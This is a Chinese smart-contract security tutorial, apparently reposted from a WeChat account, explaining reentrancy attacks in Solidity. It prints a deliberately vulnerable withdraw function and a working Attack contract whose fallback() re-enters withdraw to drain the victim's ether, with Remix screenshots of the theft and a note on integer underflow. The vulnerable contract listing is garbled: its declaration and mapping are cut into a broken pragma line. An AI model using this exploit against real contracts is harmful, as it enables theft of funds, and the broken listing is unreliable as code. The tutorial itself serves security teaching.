区块链 智能合约安全 重入漏洞

admin 2025年1月12日21:12:43评论4 views字数 2363阅读7分52秒阅读模式

扫码领资料

获网安教程

区块链 智能合约安全 重入漏洞

区块链 智能合约安全 重入漏洞

本文由掌控安全学院 - 君叹 投稿

Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

智能合约安全

在当今数字化浪潮汹涌澎湃的时代,区块链技术无疑是一颗耀眼的明星,正深刻地重塑着众多领域的运作模式。区块链,本质上是一种去中心化的分布式账本,它通过密码学原理确保了数据的不可篡改与安全性,使得交易信息能够在众多互不信任的节点间实现透明、可靠的记录与验证。
而智能合约,则是区块链技术最具创新性与变革性的应用之一。智能合约是一种自动执行的合约条款,以代码形式部署在区块链网络之上。它犹如一位忠诚且严谨的数字化管家,一旦预设的条件被触发,就会自动且精准地执行相应的操作,无需人工干预,从而极大地提高了交易的效率与公正性,减少了人为操作可能带来的误差、欺诈以及冗长的中间环节。无论是金融领域的复杂交易、供应链管理中的物流与支付流程,还是数字资产的交易与管理等场景,智能合约都展现出了巨大的潜力与应用价值。然而,就像任何新兴且强大的技术一样,智能合约在带来便利与机遇的同时,也面临着诸多安全挑战,这些安全隐患犹如隐藏在暗处的礁石,随时可能使智能合约的应用之船触礁搁浅,因此对智能合约安全的深入探讨与研究具有极为重要的现实意义。

简单理解, 智能合约就是运行在区块链上的后端程序, 用来提供服务, 区块链技术是使互联网从web2.0时代迈向web3.0时代的技术, 而Solidity是一种高级编程语言, 在熟悉web逻辑漏洞的情况下, 只要简单入门Solidity, 再结合本教程, 就能快速入门智能合约安全的领域.

Solidity官方文档: https://docs.soliditylang.org/zh/v0.8.21/
Remix: https://remix.ethereum.org/ Remix是基于浏览器的开发Solidity的IDE.

重入攻击

重入攻击的漏洞点存在于先给钱后记帐
我们先来看一段漏洞代码

  1. // SPDX-License-Identifier: GPL-3.0

  2. pragma solidity >=0.7.0uint) blances;

  3. // 存钱方法

  4. function deposit()public payable {

  5. require(msg.value >10);

  6. blances[msg.sender]+= msg.value;

  7. }

  8. // 查询余额方法

  9. function query()public view returns (uint){

  10. return blances[msg.sender];

  11. }

  12. // 取钱方法

  13. function withdraw(uint blance)public payable {

  14. require(blances[msg.sender]>= blance,"You don't have enough balance");

  15. (bool sent,)= msg.sender.call{value:blance}("");// 调用 call 进行转账

  16. if(sent){// 判断是否转账成功

  17. blances[msg.sender]-= blance;// 转账成功则扣除相应的余额

  18. }

  19. }

  20. }

漏洞点就在上述代码中的withdraw方法中, 是先进行转账, 然后才扣除相应的余额
这会造成什么问题呢?
很显然开发者没有考虑到存款取款的账户也可以是智能合约
在学习过Solidity后, 我们知道, 智能合约中存在fallback方法, 用来处理当合约收到转账的情况
先来看我们的攻击代码
随后对原理进行详细讲解

  1. contract Attack{

  2. Blan blan;

  3. bool flag;

  4. constructor(address blan_address){

  5. blan =Blan(blan_address);

  6. }

  7. function attack()public payable {

  8. require(msg.value ==1 ether);

  9. blan.deposit{value:1 ether}();// 存入 1eth

  10. blan.withdraw(10**18);// 取出1 eth, 这里以wei为单位, 10**18 wei = 1 eth

  11. }

  12. fallback() external payable {

  13. if(!flag){

  14. blan.withdraw(10**18);

  15. flag =true;

  16. }

  17. }

  18. }

我们可以看到, 有一个 flag 值
当触发攻击函数后, 会像目标合约存入 1eth
再提取1eth
我们来看一下执行的流程图

图中箭头标注1, 2的部分是第一次访问到这块, 会跟着1走, 第二次再访问到这块, 会走2.

区块链 智能合约安全 重入漏洞

流程图中很明显的告诉我们
漏洞触发的原因是, 当转账给一个智能合约时
会等待该合约的 fallback() 函数执行完成后
才算这行代码执行完毕, 才会接着继续下一行代码
其中利用的像是一种递归的思想

另外此处还存在整型下溢漏洞
会将我的余额变为
2 ** 256 - 1
第一次存入后, 我的余额为1
两次取出后, 我的余额就变成了 1 - 1 - 1, 由于余额是 uint类型表示的
我的余额就会变成 2**256 -1 wei

测试:

编译时选择Solidity7版本, Solidity8中添加了当发生溢出时自动回退的功能.

区块链 智能合约安全 重入漏洞

部署后, 我们首先用默认用户存进去10eth

区块链 智能合约安全 重入漏洞

区块链 智能合约安全 重入漏洞

区块链 智能合约安全 重入漏洞

然后部署攻击合约

区块链 智能合约安全 重入漏洞

设置发送1eth

区块链 智能合约安全 重入漏洞

区块链 智能合约安全 重入漏洞

但是结果我们发现
对方所有eth都到了我们账户上
这是为什么呢?
区块链 智能合约安全 重入漏洞

仔细观察我们攻击代码中的fallback()函数
我们这里也是先触发取款, 才更改flag标记
但是第二次取款的时候, 还是会再次触发fallback函数, 这里也同样是重入漏洞的逻辑, 我们需要先更改flag标志, 再调用取款函数, 才能达到我们上述的效果, 大家可以自行尝试, 这里便不做演示.区块链 智能合约安全 重入漏洞 

.

区块链 智能合约安全 重入漏洞

原文始发于微信公众号(掌控安全EDU):区块链 智能合约安全 重入漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月12日21:12:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   区块链 智能合约安全 重入漏洞https://cn-sec.com/archives/3622239.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息